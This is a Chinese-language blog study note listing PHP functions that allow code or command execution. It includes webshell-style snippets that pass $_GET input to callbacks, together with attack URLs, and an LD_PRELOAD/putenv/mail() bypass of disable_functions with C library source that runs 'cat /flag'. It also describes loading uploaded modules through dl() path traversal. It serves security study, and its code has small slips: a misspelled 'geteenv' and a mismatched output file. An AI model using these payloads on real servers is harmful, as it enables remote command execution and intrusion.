PHP危险函数总结学习

2019-08-19

1.PHP中代码执行的危险函数

call_user_func()

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递

call_user_func($_GET[ '1'],$_GET['2']);
codeexec.php?1=assert&2=phpinfo()

call_user_func_array()

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

call_user_func_array($_GET['1'],$_GET['2']);

codeexec.php?1=assert&2[]=phpinfo()

create_function

该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

    $a = $_GET['a'];
    $b = create_function('$a',"echo $a");
    $b('');
codeexec.php?a=phpinfo();

array_map()

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET[1],$array);
?>
codeexec.php?1=phpinfo
preg_match+/e选项

搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

 

2.php命令执行函数

system

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

shell_exec(没有回显的命令执行)

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。(和``反引号效果相同)

passthru

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。

exec(只返回一行数据)

 

popen

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

proc_open
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

<?php
    $cmd = 'system';
    ob_start($cmd);  //将命令存储到内部缓冲区
    echo "$_GET[a]";
    ob_end_flush(); 清除内部缓冲区,此时将输出缓冲区的内容当作参数执行并输入执行结果,即执行system($_GET(a))
?>

mail()  第五个参数 excrt_cmd

第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。

如果传递了第五个参数(extra_cmd),则用sprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的bash 破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制

即mail->poen->bash调用链

但是如果使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail()来触发

putenv()

bool putenv ( string $setting )

添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 即我们能够自定义环境变量

 比如:

LD_PRELOAD是Linux系统的下一个有趣的环境变量,它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持PHP的大部分函数,比如php的mail函数实际上是调用了系统的sendmail命令,我们选一个库函数geteuid

然后编写一个自己的动态链接程序,tr1ple.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

void payload(){
system("cat /flag");
}

int geteuid(){
if(geteenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

当我们编写的共享库的geteuid函数被调用时将执行命令,测试编译时平台尽量与目标相近。

运行:

gcc -c -fPIC tr1ple.c -o tr1ple
gcc --share tr1ple -o tr1ple.so

此时生成了tr1ple.so,我们将so文件放在web目录下,然后编写php文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/tr1ple.so");
mail("1@2","","","","");
?>

然后访问后就会在web目录下产生2333文件:

所以就达到了劫持geteuid函数的目的,让程序调用我们的恶意so文件中函数,我们让php文件调用putenv来设置一个临时环境变量LD_PRELOAD,以便于在程序执行时去加载我们的so,那么关键就是这里。那么联想一下如果我们能劫持其他库函数,那么也能达到相同的效果,因为php是用c写的,mail调用了sendmail命令,sendmail命令又调用了geteuid函数,那就有以下:

1.如果其他php函数也调用了sendmail命令;

2.如果其它php函数调用系统命令并调用c的库函数

以上两种可能应该都是存在的,都可能产生风险。

assert

它也能来动态代码执行,但是只是php5.x,7.x里就是即使参数是字符串也不执行

dl()

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,
该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改
当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。
dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。
所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,
包括系统命令。

ini_set()/ini_alter()

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。如果能结合call_user_func函数就能进行调用设置。

不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录,附录地址为https://www.php.net/manual/zh/ini.list.php

imap_mail

imap_mail在执行时也会fork execve,去调用sendmail,因此也会加载我们的so

参数设置与mail相同

参考(侵删):

https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd